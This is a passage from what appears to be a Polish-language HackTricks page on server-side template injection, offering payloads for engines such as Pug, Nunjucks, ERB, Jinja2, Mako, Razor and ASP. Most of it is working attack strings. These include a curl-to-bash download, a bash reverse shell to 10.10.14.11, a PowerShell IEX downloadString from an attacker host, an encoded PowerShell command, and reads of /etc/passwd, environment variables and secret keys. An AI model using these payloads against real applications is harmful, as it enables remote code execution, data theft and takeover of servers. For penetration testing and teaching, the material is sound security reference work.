informacji** * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Przykład renderowania po stronie serwera** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **Więcej informacji** * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49 * \{{foo\}} = Brak wyniku * \#{7\*7} = #{7\*7} * \{{console.log(1)\}} = Błąd ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **Więcej informacji** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python Sprawdź następującą stronę, aby dowiedzieć się więcej o sztuczkach związanych z **omijaniem piaskownic przy wykonaniu dowolnych poleceń** w języku Python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Error` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Więcej informacji** * [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) [Oficjalna strona internetowa](http://jinja.pocoo.org) > Jinja2 to zaawansowany silnik szablonów dla języka Python. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane środowisko wykonawcze w trybie piaskownicy, jest szeroko stosowany i posiada licencję BSD. * `{{7*7}} = Błąd` * `${7*7} = ${7*7}` * `{{foobar}} Nic` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Format szablonu** ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCE niezależne od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Więcej informacji na temat nadużywania Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} Inne ładunki w [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **Więcej informacji** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= Sukces` * `@() <= Sukces` * `@("{{code}}") <= Sukces` * `@ <= Sukces` * `@{} <= BŁĄD!` * `@{ <= BŁĄD!` * `@(1+2)` * `@( //Kod C# )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");` Metoda .NET `System.Diagnostics.Process.Start` może być użyta do uruchomienia dowolnego procesu na serwerze i tym samym utworzenia webshell. Możesz znaleźć przykład podatnej aplikacji internetowej w [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Więcej informacji** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nic * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Więcej informacji** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Nawet jeśli to perl, używa tagów takich jak ERB w Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Błąd` ``` <%= perl code %> <% perl code %> ``` ### SSTI w GO W silniku szablonów Go, potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych ładunków: * `{{ . }}`: Ujawnia strukturę danych wejściowych. Na przykład, jeśli przekazany jest obiekt z atrybutem `Password`, `{{ .Password }}` może go ujawnić. * `{{printf "%s" "ssti" }}`: Oczekuje się, że wyświetli ciąg "ssti". * `{{html "ssti"}}`, `{{js "ssti"}}`: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dodatkowe dyrektywy można badać w dokumentacji Go [tutaj](https://golang.org/pkg/text/template). **Eksploatacja XSS** Z pakietem `text/template`, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{""}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go może ominąć to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **Eksploatacja RCE** Eksploatacja RCE różni się znacząco między `html/template` i `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości "call"), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/). Dla RCE poprzez SSTI w Go, można wywoływać metody obiektu. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można ją wykorzystać tak jak `{{ .System "ls" }}`. Dostęp do kodu źródłowego jest zazwyczaj konieczny do wykorzystania tego, jak w podanym przykładzie: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Więcej informacji** * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Więcej exploitów Sprawdź resztę [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) dla więcej exploitów. Możesz także znaleźć interesujące informacje o tagach w [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## Czarna księga PDF {% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} ## Powiązana pomoc Jeśli uważasz, że może być przydatne, przeczytaj: * [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) * [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## Narzędzia * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Lista wykrywania ataków siłowych {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Praktyka i odniesienia * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach. {% embed url="https://www.rootedcon.com/" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.